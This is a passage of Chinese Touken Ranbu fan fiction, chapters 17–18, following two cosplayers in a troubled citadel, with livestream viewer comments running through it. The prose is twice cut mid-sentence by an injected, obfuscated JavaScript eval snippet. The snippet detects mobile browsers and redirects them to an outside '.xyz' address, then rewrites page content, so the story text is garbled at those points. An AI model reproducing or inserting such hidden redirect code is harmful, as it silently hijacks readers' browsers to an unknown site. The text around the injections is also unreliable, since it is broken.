据传闻,鹤丸国永曾短暂地被平维茂持有,但并没有确凿证据表明平维茂为平家人,鹤丸现如今唯一能记起来的,只有在仓库里对小乌的惊鸿一瞥,除此之外再无相见。 只是,鹤丸国永瞅瞅仿佛很他很熟的少年,眼角不禁露出一抹笑意。 小乌貌似脑子不太好的样子啊……记忆比他还混乱是怎么回事。不过能免费套层朋友关系,这便宜不占白不占。 鹤丸国永很丝滑地搂着人转了两圈,对两人属于陌生人这事一概不提。 [又给鹤丸这家伙爽到了。] [他们两个关系这么好的吗?] [不知道啊,有没有考究党来大显身手一下。] [在翻了在翻了,历史并没有确切的记录鹤丸国永曾经在平家待过,所以对于他们的关系,很模糊不清呢。] [可能是鹤丸和小乌特有的羁绊吧!] [喊着羁绊啊友情啊就把弟丸晾一边了,偷笑。] 差不多得了,膝丸coser上前两步,面无表情地把鹤丸国永拽开,身上那么脏还非要抱过来,讨厌毫无边界感的付丧神。 小乌coser拍拍衣服上的灰,因为鹤丸拥抱时用的力气过重,蹭上去就弄不干净了。见此,腰侧的髭切不满地震动了下。 少年下意识要去安抚太刀,结果抬起手发现掌心也被染上黑灰,他瞳孔地震,还没来得及发作,就见鹤丸国永忽然喊了声。 “诶!你的脸上……” “脸上怎么了?” 粗糙的指腹措不及防擦过脸颊,浅浅的烧焦味被吸入鼻腔,小乌coser缓缓睁大眼,视野里的太刀顿时捧腹大笑,亮出刚刚蹭过少年脸颊的拇指。 “现在脸上也有灰了!”鹤丸国永补充完后半句话。 小乌coser反射性抬手抹了下脸,抹完才记起手也是黑的,他扭头望向膝丸coser,青年默默在自己脸上比划出污迹的范围,也就大半张脸吧。 计谋得逞的鹤笑得前仰后合,似乎是许久没如此开怀地放肆过,他眼角都浸出泪珠,声音也有些哽咽,承受不住要哭出来似的。 小乌coser注视着半蹲下来的鹤,黑色的虹膜将付丧神的身形放大,他奇异的无法升起任何恼怒的情绪。 一些安全感缺失的孩子总会想方设法获取大人关注,以此证明自身的重要性,这没有什么可恨的。 对于鹤丸国永,喜极而泣也算是一种感到幸福的具象化吧。 17.第 17 章 “平安回来就好……怎么,有话要告知吾吗?” 储刀室内,跪坐于刀架前的小乌丸眉眼低垂,注视着重新凝聚起灵力的源氏太刀。 回归本体的膝丸本灵意识尚且混乱,一宿的离奇经历让他有些恍惚,光滑的刃面上,浮躁的灵力偶尔闪出白光,像是在与小乌丸对话。 “兄长嘱托我带回线索。”膝丸的声音泛着虚弱,他打起精神,将昨晚髭切的暗示整合出来。 【“重逢之地,寻觅真迹。我在那里找到你,弟弟和我都很思念你,所以跟我们回去吧。” 奶金色头发的付丧神握住黑发少年的手,他目光微转,投射到对面的薄绿脸上,只一瞬间便收回视线。 矮他俩半个头的小乌并未察觉到异常,深受髭切荼毒的他不会深思话中含意,只是奇怪髭切突然热切的态度。 就连直播间的审神者都习以为常,不过是髭切再一次试图挖墙脚。 于是金色的眼睛满足地眯起,“弟弟丸也是哦,知道了吗?”】 “重逢之地,兄长与小乌相遇的地方,兄长应该就是指引我们去那里探查。” 纤细的付丧神眉头轻微蹙起,小乌丸没有得到情报的喜悦,神情甚至称得上忧虑。 按照计划,髭切应该传回来的是a-43本丸的具体坐标,而不是模糊的范围。 也许这次膝丸的意外让髭切认为单凭他自己无法完全确保子代们的安全,顾不得打草惊蛇把计划提前。 武家刀惯常的手段,先下手为强,在危机爆发前将其彻底掐灭在摇篮。 “髭切殿也变得急躁了呢。” 三日月宗近望向源氏部屋的方向,突发事件使得宅邸暂时空荡。 绮丽的新月眸底闪过丝暗芒,“毕竟被触及到逆鳞,唔狮子的话,该说是鬃毛?” “是脊椎吧!失去不至死但也活不下去。” 活泼的小天狗步伐轻快地超过三日月,高跷似的木屐在草地碾压出独特的齿痕。 “哈哈哈,人也好动物也罢,脊椎都是很重要的部件,不能一概而论呢。” 手持托盘的石切丸缓步而来,将茶水和点心放置在中间后,大太刀跪坐在三日月身旁,神情温和,“本丸发生新鲜事了吗?大家近期都很活跃。” “因为要添新成员喽!” 今剑捏起软绵绵的大福,愉快地招呼刚结束日常训练的薙刀,“岩融好慢哦,今天的茶点看起来非常棒!” “这是好事啊,看来我得准备一番,给新的本灵进行祈福仪式。” 并不询问新的付丧神的身份和刀派,石切丸平等地祝福那位本灵,愿他万事顺遂。 赶过来的岩融和小天狗凑到一起,两刃偷偷耳语,很快就欢笑着跑出庭院,不知去哪里耍了。 三日月宗近低头,注视着手中茶盏,虚虚直立起来的茶梗须臾便浸没于茶水中,再寻不见。 “哈哈哈,是好事还是坏事呢?” * a-43本丸后山。 这边的鹤丸国永抱头哽咽,树上以为把人欺负哭了的小乌鸦跳下来,探头到付丧神脚边想要观察其表情。 不是吧,真哭了? 鹤丸国永擦干眼泪,一撸袖子抱住凑过来的幼鸦,不顾乌鸦的挣扎将其双手奉到小乌coser面前。 “小乌你快看,这只乌鸦是不是跟你特别像?” 幼鸦蹬在付丧神脸上,顿时,鹤丸国永光洁的额头被印上一道爪印。 小乌coser无奈扶额,故意招惹他的伴生灵不说,又害怕无法把他引过来直接捡柴点火,还差点把自己给烤了。 后山冒起这么浓的黑烟,本丸的付丧神应该都注意到了吧? 不过片刻,杂乱的脚步声掺杂着喧闹的说话声远远传来,高大茂密的树木间出现几道急切的身影。 加州清光气喘吁吁地扶腰,黑发打刀身后跟着一队小短刀,身上担着水桶和其他灭火工具。 药研藤四郎放下手里盛满水的木桶,目光越过膝丸coser落到满身黑灰的鹤丸国永和小乌coser身上。 见状,小乌coser先一步开口,好摆脱自身的嫌疑,“我和弟弟到这里时,灰扑扑丸就是这幅样子了。” 言外之意就是与他无关,要纠就去纠鹤丸国永的错,他也是受害者。 “以后不要再搞这种玩笑了,很吓人的啊……” 加州清光欲言又止,谁懂他编好灯笼后刚躺下想补觉,结果被安定一巴掌糊醒,摇着肩膀说本丸被火烧了。 “虚惊一场,我们得先回去了哦,一期尼该着急了。” 金发蓝眼长相秀丽的付丧神语气轻快,目光不着痕迹地扫过coser们,“髭切殿和膝丸殿,欢迎来粟田口玩哦!” 打头的药研藤四郎冲加州清光颔首,对脏兮兮的鹤丸和小乌coser道:“受伤的话可以来找我,精细活做不来,但保命还是能做到的。” 直播球隐藏在树丛里,高科技如它也忌惮极短恐怖的侦查。 [战地医疗兵,一治一个不吱声。] [一想到可以用虫子帮助伤口愈合,全身都毛毛的。] [武系婶发言,打着溯行军胳膊突然受击脱臼,被药研满脸关切地握住手,婶那句“没事”还没说出口,就听咯哒一声,胳膊归位了,我也嚎晕了。] [楼上的审还活着吗?] [真的吗?但,但是药研尼只是太担心大家了!] [药研很温柔呢,不论面对兄弟还是主人。] [请楼上的两位付丧神快收起兄弟滤镜吧,我家被汤药苦晕的婚刀有话要说。] “多谢,如果有需要就劳烦你了。” 小乌coser自然而然地背过手,当着一众高侦查的打刀短刀们的面,指甲掐住鹤丸国永后背软肉,90度旋转。 剧痛瞬间袭上来,鹤丸痛呼着往向蹦跶,瓜地里的猹般一个扭身摆脱少年毒手。 痛得吸气的鹤丸国永还没来得及问话,就见小乌coser一把握住付丧神的手腕,惊讶出声。 “呀,这是怎么了?” 小乌coser痛心地捂住嘴,目露担忧,“为何四肢不协调地模仿猴子,莫非付丧神也会返祖?” 鹤丸国永:“……?”你自己品品这句话对吗? “应该是烧伤后皮肤与衣物摩擦,疼得受不了。” 接收到单主的飙戏邀请,膝丸coser脸色慎重,信口胡诌,充分运用医学生的知识库,“全程皮肤烧伤如若不及时治疗,后果……” “太糟糕了,就交给你了药丸。” 小乌coser懒得再演,果断决定了鹤丸国永的命运。 虽然鹤丸国永对他表现出不低的好感,但他目前没有深交的打算,为避免暴露马甲,熟人还是能躲就躲吧。 “额,听起来情况紧急呢,”加州清光打着哈哈,看破不说。 药研藤四郎目光复杂,一直板着的脸色也稍稍缓和,透露出几分无奈,“我叫药研,鹤丸殿请跟我来吧。” “等等,我可没受伤。” 被安排的鹤丸国永表达不满,刚见到小乌coser的他还有很多话想要倾诉。 付丧神反手握住少年腕部要把人拉走,膝丸coser刚要上前阻拦,鹤丸国永却突然被什么东西撞上般,被迫松开少年,往后踉跄两步。 小乌coser反射性抚上腰侧的髭切,短暂停顿后不着痕迹地下移,握住自己漆黑的本体。 “呀,弟弟太调皮了,没有冒犯到你吧?”他拍拍刀鞘,读音在欧豆豆处微微拉长,特意提醒闹事刀安生点。 蛮力弹开鹤丸的太刀乖乖巧巧,像作妖的另有其人一样。 [诶呀,被叫做“弟弟”了,真奇妙的感觉。] [是鹤丸殿先动手的,兄长只是进行正当防卫。] [同振碰的是小乌,关你髭切什么事,手伸太长了吧。] [诶?我是被源氏和鹤丸们包围了吗?] [到底是谁手伸得更长呢?好难猜啊,码字丸知道吗?] [很明显是鹤丸殿。] [鹤丸殿先冒犯弟弟的,毋庸置疑。] [还有没有天理了?] [八幡大菩萨来了也是鹤球的错哦。] 【“喂喂,让你们替我分担工作,不是来以权谋私的!” 秋瑾拍案而起,扭头看向带头的付丧神,“髭切!” 被点名的太刀不慌不忙地打出最后一条弹幕,抬头表情无辜地对着秋瑾露出甜软的笑容,“诶哆,不知不觉就发出去了。” 不知不觉?我看你挺懂的啊,都学会开彩色弹幕来吸引眼球,引导注意了。 被髭切笑容搞得没脾气的秋瑾转而望向坐姿标准的膝丸,稳重的付丧神在审神者目光看过来时便从善如流地道歉,认错态度良好。 “你怎么也跟着他闹,知道不对就别回话啊。” 秋瑾叹气,一哥切激出千万弟丸来维护,不敢想象对面势单力薄的鹤丸国永的心情,如果文字也会杀刃,鹤丸现在已经无了。 “不想让阿尼甲在这件事上输掉。”膝丸面露愧疚,但眼神依旧坚定,这可是事关弟弟和兄长尊严的战斗! 你们源氏胜负欲也太强了吧。 秋瑾忍了忍,还是没憋住,在源氏两刃震惊的目光下,她一抹黑眼圈哭丧着脸跑出天守阁,直奔山姥切长义部屋。 “……长义你回来吧,我再也不逼你熬夜了,他们都没你好!” 路过的山姥切国广手抖了下,裹紧被单,快速远离突然抽风的审神者。】 针扎般的酸麻退去,钻心的痛苦迟迟袭来,青白的指尖微微抖动,付丧神目光注视横在少年腰间,存在感强烈得有些碍眼的太刀。 不论哪个髭切都这么麻烦,真讨厌。 “没事,小乌是好孩子。”他隐忍地低头,松散的发丝新雪般覆盖付丧神的眼睛,看不清其中情绪。 膝丸coser扫过鹤丸国永垂落的手臂,判断出伤势。手指指骨断了两根,兄长下手未免过重,不过以付丧神的痊愈速度,挠痒痒罢了。 直到他扭头发现单主神色动容,才恍然鹤丸国永居然恬不知耻地用美刃计博同情,这可不行! “鹤丸殿尽快去疗伤吧,兄长和我就不多叨扰了。” 在膝丸coser的催促下,贼心不死的鹤丸被乱和药研联合镇压,拖去了粟田口部屋。 乌龙终于告一段落,加州清光带路领coser们下山,打算就此将人送回源氏部屋,结果被小乌coser以想要再逛逛本丸的理由婉拒。 “嘛,随便啦,不用特意解释,我又不是一期……” 打刀一顿,将未尽之言吞下肚,转移话题,“本丸的大家还是很好相处的,大概。" “其实都很高兴你们的到来。”加州清光咬牙,这话说出来他都觉得违背良心。 “感受到了热情了,我们也开心。” 看出付丧神的尴尬,coser们胡乱答应着,草草结束谈话,脚步生风离开原地。 [清光:满口荒唐言,又能怎?] [这就是身为初始刀的宿命吗?] [付丧神们:来了两个难伺候的祖宗,真高兴。] [哪里难伺候,小乌和弟丸明明那么乖 [也是难为我们清光光了。] [不过说到一期,一期尼怎么了吗?] 与加州清光分开后,小乌coser两指捏住下巴,细数前些日子本丸的疑点,合掌造、迷雾和山崖,还有狮子王的鵺。 “我们现在去……” 狮子王曾说过三日月宗近是除初始刀外最先到本丸的,不如去试探一下他? “哪也不去,我们谈一谈。” 小乌coser顿住,他的手指传来被缠绕的束缚感,温凉的蛇鳞抵在掌心。这条蛇怎么又蹭上来了? 薄绿色发影闯入视野,膝丸coser惯常低垂着的眉眼直视过来,相比髭切长相,青年稍显粗犷的面庞要更具压迫感一些,在认真注视着什么的时候,有种窒息的感觉。 黑发少年任由膝丸coser带到无人的角落,青年握住他的手,自掌心挑开皮革手套,然后以十指交叉的姿势贴在脸侧。 下意识媚了一下的委托老师并不觉得这个动作有什么问题。 膝丸coser茶金色的眸子目不转睛地盯住少年,“你的灵力,可以契约我吗?” “不能,我们都是刀剑付丧神。”小乌coser想都不想地拒绝,他怀疑膝丸coser脑子撞傻了。 就算真的可以,他也不会契约他,膝丸coser原本作为人类,如何能被像刀剑一样效忠主人,甚至被驱使? “想想你的身份。”小乌coser抽出被握紧的手,新社会没有奴隶。 [其实是可以的,只要自身拥有灵力都是能够成为审神者的。] [是啦,虽然时政一直避而不谈,但本灵天生就知道如何结契。] [这么说小乌和弟丸没有契约,怪不得弟丸一直表现得很不安。] [一分开就找不到对方了啊。] [好冷漠的话,想想你的身份。] [可恶,一个契约又能怎样,就让弟丸如愿吧。] 【为什么欧豆豆不给同振一个保证? 膝丸翻动文书的力气用得大了些,顺直的纸张被拇指捏皱,手中的钢笔断墨,徒劳地画出磕绊的笔画。 ——想想你的身份。 源氏的重宝,髭切的弟弟,小乌的兄长。 在千百年间他们从未见过面,就是因为这样,欧豆豆才不肯建立更亲密的联系吗?】 膝丸coser焦躁得像只被火烧的蜘蛛,呼吸剧烈,隐隐有喘不过气的感觉。他意识到不妙,减少大幅度吸气才避免呼吸碱中毒。 小乌coser没想到他反应会这么大,胡乱地摸着他的后背帮他顺气。 “小乌,你很在乎鹤丸国永。” 膝丸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040210|178687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' coser不知怀着怎样的心情说出这前言不搭后语的话,鹤丸国来得出乎意料,付丧神和小乌coser之间的熟稔和默契让他内心不安。 “只是普通的顾虑,我不想惹麻烦。”小乌coser不曾犹豫地做出解释。 “不,自从他出现后,你就关注着他。早上吃饭时,在后山时,你也发现他身上的旧伤,你以前和他的关系真的很好。” 膝丸coser时刻留意少年的表情,身为coser的小乌跟鹤丸国永八竿子打不着,他只能这样真假参半地误导直播球。 小乌coser语气始终平淡,神情自若,“不经之谈,我们可以换个话题吗?” 膝丸coser却猛地屏住呼吸,攥紧的指节泛白,盯住少年的眼睛控诉出声,“可你甚至没有这样关注过……” 没有关注过我。 青年的声音倏忽停下,未完的半句话被卡在喉咙,他颤抖地抬手捂住嘴,不明白为何自己会差点说出这种话。 小乌coser将他视为知根知底的伙伴,他能感受到少年投射在身上的视线,于朋友而言这种偏爱已经非常难得了。膝丸coser还是第一次知道,朋友也可以相互信任到这种程度。 面对少年疑问的目光,膝丸coser慌乱地转移对象,情绪紧张没有注意到自己冷硬的语气和少年平和表情下的压抑不满。 “你应该把精力放在兄长和自己身上。” “你发什么疯,给我正常说话。” 小乌coser被再三质问,好脾气也要磨没了。尤其膝丸coser还一直莫名其妙地提到髭切和鹤丸国永,不是在和他谈话吗?为什么要管其他人。 真把他当弟弟训了? [怎么回事,完全没有默契啊这两人。] [笨蛋兄弟吗?怎么就吵起来了?] [弟丸你觉醒吧!谁懂小乌劈头盖脸地被一顿批。] [欧豆豆是不是生气了?] [啊呀,吃醋丸好威风,借我教育上弟弟了呢。] [红豆泥私密马赛!!!阿尼甲] [是用身材和脸蛋换的情商吗?] 最终以小乌coser的妥协为结果,少年一言不发地起身往粟田口部屋方向走去,让膝丸coser自己冷静下。 直播球在半空颤抖,想留在原地拍摄膝丸coser又怕小乌coser那边遇到什么事情,墙头草似的两头忙。 [去找小乌!去找小乌!] [虽然弟丸在这里,但部屋的那边可是小乌啊!] 膝丸coser僵持片刻,最终没胆子去追气极的小乌coser,抬手发现小蛇蔫巴地盘在袖口,差点得逞的它再次被扔了回去。 最终,独自一人回到源氏部屋的膝丸coser恰好撞见整装待发的〔髭切〕。 “阿尼甲,今天也照常出阵吗?” 〔髭切〕穿戴手甲的动作微顿,他将青年低落的神情看在眼里,抬手拍拍青年薄绿色的脑袋,“跟我的同振闹别扭了吗?” “没有,我们关系很好,从不吵架。” 膝丸coser否认,在他眼里拔刀相向以外的矛盾只算是意见分歧,不纳入吵架的范围里。 “诶呀,倒是十分自信。”〔髭切〕揉揉青年脑壳,话说弟弟原来是这种头铁的性格吗? 膝丸coser深吸口气,提出诉求,“之后我想和阿尼甲一起出阵。” 变得更强,直到能将一切心存歹念的恶人阻挡在外,单主就不需要再委曲求全,他想成为小乌coser的后背,支撑起少年的自傲,以同伴、兄长的身份。 “嗯,那出发吧。”〔髭切〕答应得很爽快,他甚至不在乎原因。 “现在吗?”膝丸coser一愣,但他的本体还被小乌coser保管,空手上战场当靶子吗? “弟弟丸在一旁观战就行了,要先等同振回来吗?”〔髭切〕不放心让膝丸去战斗,害怕他再次破碎成那种样子。 “不,兄长他大概不会和我一起……” 膝丸coser敷衍揭过话题,抿唇推迟了决定,“明天我再随同阿尼甲出阵,今日未做足准备。” 更何况,他还没来得及跟小乌coser商量,万一单主回来找不到人又要着急了。青年攥紧衣角,那时候他该追过去的。 * 鹤丸国永在后山碰了一鼻子灰,被几振小短刀架着来到了粟田口部屋,由于手入室被审神者离开前关闭,修复地点就转移到粟田口部屋。 “都来到这里了,鹤先生就不要想着逃跑了。”五虎退松开鹤丸国永的袖摆,略有些紧张地望向新奇打量四周的付丧神。 乱藤四郎拍拍接触鹤丸时蹭到小裙子上的烟灰,“退说得对,讳疾忌医可不是好习惯哦。” “嗨嗨,真是没办法,这样就不好玩了啊。” 鹤丸国永举起双手认输,他身上确实藏着陈年旧伤,已经习惯就算不治也没什么大碍,他倒是很惊讶小乌coser能看出他的状况。 其余短刀纷纷走出去,给药研腾出诊病的空间。 鹤丸国永看似乖巧地坐在手术床上,实则眼神偷偷瞄准了敞开的窗户。 等药研藤四郎转身调配试剂时,鹤丸国永踮起脚尖,发挥了刃生最快的机动迅速接近窗口,单手一撑窗沿,以帅气的翻越动作跳出屋子,悄悄地逃之夭夭了。 房间内,手术床上等待医治的鹤已然不见踪影,一直背过身配置试剂的短刀无奈地推推镜框。 “他不想,我总不能强迫他吧。” 像这样临时反悔突然逃跑的情况已经有过好多次了,药研藤四郎也习惯了鹤丸国永又一出是一出的性子。 只是,受伤却不治疗,这样下去真的好吗。 重获自由的鹤舒畅地伸了个懒腰,自暗堕之后,他已经很久没自在地逛过本丸。突然想到什么,付丧神溜溜达达地跑到厨房。 隔着窗户,付丧神跟正在切菜的烛台切光忠打了个招呼,“哟!光坊,你有迅速拉近关系的方法吗?” “能迅速拉近关系的方法?”烛台切光忠放下厨刀,作思考状。 付丧神目光扫过面前的被切块的白萝卜,远征部队带回的食材被处理完善,此时正和各种调料一起装在锅里,变成咕噜冒着香气的味增汤。 窗边的鹤丸国永立马翻进来,期待地等着回答。 “果然还是亲手制作的料理吧。” 劳累整天后,一想到能安宁地守在餐桌前,吃到美味的饭菜,喝到喜爱的汤,空虚的胃里被食物充实,浑身都会升起暖洋洋的幸福感。 如果是心爱之人亲手准备的饭餐,幸福感会冲昏头脑吧。 “料理?” 望着已经陷入幻想的太刀,鹤丸国永低头看自己的双手,坚定地握紧。 “小光,教我做料理吧!” 烛台切回神,面色复杂地上下打量了下鹤丸国永,这家伙真的不是来添乱的吗?本丸的粮食可经不起消耗啊。 18.第 18 章 小乌coser与膝丸coser产生分歧,他并未按照路线前往粟田口部屋,而是中途改变方向,毫无目的地在本丸漫游。 少年手掌搭在膝丸coser本体上,灵力一刻不停地注入太刀,无论多少都被尽数吸收殆尽,没有回返。 他不知道,到底要多强大的力量才能够满足太刀,如果就此放任下去,他们只有死路一条。 刀剑震动的嗡鸣唤醒少年,髭切彰显他的存在,迷惘的幼弟应该学会依靠兄长。 小乌coser抿唇,绕过排排制式相似的鸟居,拐角忽然开阔起来,荒芜的田地透着股萧瑟,一道矮小的影子在前方久久停驻。 “小夜,怎么蹲在这里?”小乌coser对小夜这把刀的观感不错,在初到本丸时曾提醒他多加小心。 短刀在少年踏入此地前就发现了其踪迹,也许是胸中抑郁难积压到极点,付丧神等候在这里,良久才开口。 “这里曾经是一处花田,髭切殿,喜欢花吗?” 小乌coser顺着付丧神的目光望过去,只不过他的视线远远跳开满目荒芜,眺望向本丸的边界,“谁会不喜欢漂亮的东西呢?” 短刀点头,仍旧注视脚下的田地,“我也是这样,所以一直很佩服种植花草的人,觉得能养起如此脆弱美丽的花朵的人,一定很强大吧。” 但当小夜左文字真正有了自己的花,将纤细的根茎埋进他的土壤里,付丧神却突然想起采花的地方——那遍山的花野。 黄的白的绿的,不知名的小花,天真烂漫的它们仿佛没有烦忧,摇曳着秀气的花瓣,想起昨日的风雨,一切都是美好的。 “原来,无人照料却生机盎然的它们才是真正的坚韧的那个,而我却将它连根拔起了。” 失去自由的花朵最终没能熬过那个春天,细细的草茎如同薄薄的纸,葬送在盎然的绿意里。 [等等!这节奏不对,不会后面有刀子吧?] [预言家给我刀了!] [连根拔起,一定破坏了根茎,移栽最重要的就是根,无根的植物实际上离开土壤的那刻就死了吧。] [没有人交给小夜正确的移栽方法吗?] [本丸里朝不保夕,谁会在乎怎么养花呢?] [……他只是用错了方法。] “审神者,我们的主公曾经说我的眼睛像是寒夜里庭院的雪。” 短刀目光平静,仿佛讲述的事情与他毫不相关,“蓝的像墨,像是死亡蔓延过来一样。” 小夜左文字本来便与死亡相伴,由他这把刀移植来的花朵,枯萎也毫不稀奇。 但当时,知晓这件事的审神者将短刀传唤至天守阁,他对付丧神不符合刀剑特性的那份柔软深感讽刺。 “冰冷的利器也会为生命的逝去而哀伤吗,凭一株野花之微,就以为能够理解人类的感情……” 乌木镇纸哐当落在小夜脚边,短刀却如同被砸在身躯上般,突兀地瑟缩了下。 审神者有些癫狂,他那时的精神濒临崩溃,再也没有以往的半分模样,“死物终究是死物,你胸腔里的那颗心脏真的需要跳动吗?” 付丧神最后的记忆,是审神者荒芜的眼睛,质问着什么般。 黑如琉璃的眼睛忧愁而寂静,小夜与其对视,感到久违的安宁。他缓慢地站起来,泥土扒住粗糙的掌心,掩盖住道道象征杀戮的伤痕。 “这里不适合它们,所以花朵枯萎了。髭切殿,有机会的话就离开吧。” 第二次了,小夜左文字的提醒,这个本丸的审神者果然有问题。 小乌coser抬头眺望整片光秃秃的田地,杂草黑黄稀疏地歪在田埂上,远处的樱树枝干枯槁,他心中怅然若失。 他们也会悄然无声地走入消亡吗,就像融入大海?怎么可能,小乌coser握紧漆黑的本体,将丧气的想法逐出大脑,他和膝丸coser当然会活着回家。 少年阖眼,再次睁开时,黑曜石般的虹膜映出短刀毛躁的蓝发,“小夜有需要帮忙的吗?” “帮助我?” 短刀瘦弱的身形顿住,他迷惑地歪头,有些讶异地再次询问,“带来死亡和仇恨的刀,你要帮助小夜左文字吗?” “我要帮助小夜左文字,因为小夜也帮助了我。” 小乌coser笃定地重复道,他打算一点点地将笼罩在付丧神身上的黑暗驱散掉,就如同本丸里的刀剑正无知无觉地像他求救一样。 【“变得不一样了。” 小夜左文字仰头凝望屏幕里的同振,那振被a-43审神者所不屑的柔软再次出现在短刀脸上,一滴泪水倏地掉落进干枯的大地,激起微小的尘埃。 “明年,花朵会再次绽放的。”小夜左文字盯着那块微小的湿润,被眼泪所浸润的土地,会生出美丽的造物。 “不管哪里的小夜,都是温柔的孩子。” 宗三回头与沉默的江雪左文字对视,白发的付丧神目光期许,微末如朝生暮死的蜉蝣,也是生命的又一轮回。 为生命的逝去而哀伤,这正是人类该有的感情,也不仅仅是人类的感情。】 * 〔髭切〕常常梦见一道人影,在盛放的花树下,肩头顶着整朵整朵凋落的山茶,凄清地站在他够不到的幛子外。 轻软的花瓣浓稠得如同鲜血般铺就了满地,他越过长且曲折的廊道,残花的哀鸣细不可闻,在行走间被碾碎于隔绝脏污的足袋之下。 那人乌黑的长发愁苦而幽寂,静默得,与滑落的白披衣一同被风吹得散开来。 待他忆起那人的名字,身影早如浮华般悄然褪去,只余下他一人在无尽的循环中悱恻缠绵。 蓦然惊醒,眼前是熟悉的眉眼,梦里的身影真真切切地出现在他身边。 〔髭切〕没有做任何会吵醒少年的举动,只是深深地凝视着对方。 [我又要说了,这看狗都深情的眼神。] [支持哥切崛起!] [可恶,这么紧要的关头弟丸竟然去手合场训练了。] [早起的鸟儿被偷家。] [笑死了,谁懂婶婶守夜捕捉到夜袭哥切时的震惊,钻进人家被子就睡,也是不把自己当外人哈。] [因为本来就是一家人啊。] [要不是哥切睁着眼,我还以为他是梦游走过来的。] 〔髭切〕估算了下时间,在小乌coser苏醒前放轻动作离开,付丧神合拢幛门,抬头视线恰巧与偷拍得兴致勃勃的直播球对上。 直播球顿时僵在原地,战战兢兢。半晌,奶金色头发的太刀懒洋洋打了个哈欠,揉着眼角的泪珠走远了。 [……应该没事吧?] [笑话,连极短都能瞒过的反侦察涂层,怎么可能栽在太刀上。] [理论上不应该,但理论不在我方。] 外头彻底亮堂起来,小乌coser苏醒了。 少年洗漱完毕,环视周遭,并排的被褥已经叠得整齐。昨天他和膝丸coser起了争执,两人却都仿佛什么都没发生般,毫无芥蒂地吃饭睡觉,青年甚至还记得给小乌coser报备明日的行程。 膝丸coser拜托狮子王陪他切磋刀法,说是要为之后的出阵做准备。 阴天的光线黯淡,空气里好似飘着层湿漉漉的水汽,有种被粘稠的附着感。少年总觉得有些不对劲,便仰头望向半空的录像的直播球。 “在我睡觉时,除了起早训练的弟弟丸还有其他人来过吗?” [嘿嘿嘿,猜猜看啊。] [就不告诉你,就不告诉你!] [楼上的两位同事有些幼稚了。] [是男鬼哥切,来自婶的场外援助。] 奈何直播球纹丝不动,铁了心充当一名不争气的旁观者。 没指望能得到回答的小乌coser转向窗口,一直守在屋外的半身幼鸦敏捷跳进来,乖巧地仰起头。 “请问,你有发现可疑的人吗?”小乌coser耐心地重复一遍。 也许是听懂了少年的问题,幼鸦老老实实地点头,清嗓子般嘎嘎地咳了两声,一种仿佛带有魔力的声音从它嘴里发出来。 “阿尼甲~阿尼甲~” 尖尖鸟喙张合,熟悉的发音方式让小乌coser瞬间幻视围着髭切团团转的膝丸coser。他闭了闭眼,努力压下翘起的唇角,暂且给直播间里的膝丸们留了点面子。 “我知道了,谢谢你。” 【“噗!” 秋瑾不禁笑出声,她掩饰般端起茶杯打算喝口水压压笑,结果没忍住差点喷出来。 屏幕里的乌鸦蹦蹦跳跳地绕着少年转圈,开合的鸟喙不停火急火燎地呼唤“阿尼甲”,奇特的声音颇具幽默感。 这又是学得哪出啊? “诶呀,模仿得确实很像。”被剥夺电子产品使用权的付丧神露出毛绒绒的笑容,髭切伸手鼓掌,看得津津有味。 膝丸闻言抗议道:“阿尼甲,我哪有这样过!” 那个宛如疯摇尾巴的小狗一样的乌鸦跟他有半分相像吗? 奶金色头发的付丧神扭头望望一脸不服的膝丸,又瞅瞅屏幕里的转圈的乌鸦,确信道:“小狗丸吗?完全一样呢。” “——阿尼甲啊!”】 左文字部屋位置偏远,小乌coser穿过荒芜的田地,抬头发现早已等候的蓝发短刀。 自昨天与小夜的谈话后,小乌coser感觉与短刀的关系亲近了一分,小夜将心中的难题告知少年,两人约定好隔天再次见面。 “宗三哥上次出阵负伤后便一直高烧到现在,服药治疗也见效甚微。”小夜左文字垂眸看向院中熬药的瓦罐。 明明本体没有伤痕,身体却每况愈下,尝试了诸多方法仍毫无效果。即便如此,药研藤四郎仍坚持为宗三每日配药,总比什么都不做要好。 小夜左文字领少年进屋,泛黄的旧幛门发出被挤压的吱扭声,深陷被褥内的付丧神身形瘦削,双颊因疾病而深深凹陷。 苦涩的汤药味充斥室内,小夜将怀里的饭盒就近放下,替小乌coser找出双替换的木屐。 宗三左文字听见动静,蓝绿异曈温和扫过短刀面容,而后停在换鞋进屋的少年身上。 “髭切殿,有失远迎。” 付丧神的声音轻飘飘地传入耳中,小乌coser应了声,知趣地收敛起打量的目光。 “尽管看吧,我早已习惯。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16049902|178687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”小夜搀扶宗三坐起来,“感谢您关照我弟弟了。” 天下人之刃,过往里的宗三左文字被追捧着供奉,世人的目光在他的身上流转了个遍,只不过是一道视线罢了。 “好的,身体不要紧吗?”小乌coser眨眨眼,自然地抚上付丧神额头,掌下的温度烫得他手一抖。 粉发的付丧神眸光迷茫地看过来,他说可以随便看,没想到少年不但听进去还直接上手。 小乌coser沉思片刻,“方便的话,能让我看一眼宗三殿的本体刀吗?” 刀剑付丧神非比常人,强健的体魄即使生病也能够快速痊愈,几乎不会出现高烧不退的情况。排除身体方面的因素,那必定是灵力出了问题,而本体刀最能直接反应付丧神的灵力状况。 宗三左文字点头,很快小夜便取来一振黑红配色的打刀,小乌coser双手接过,平放于膝间。 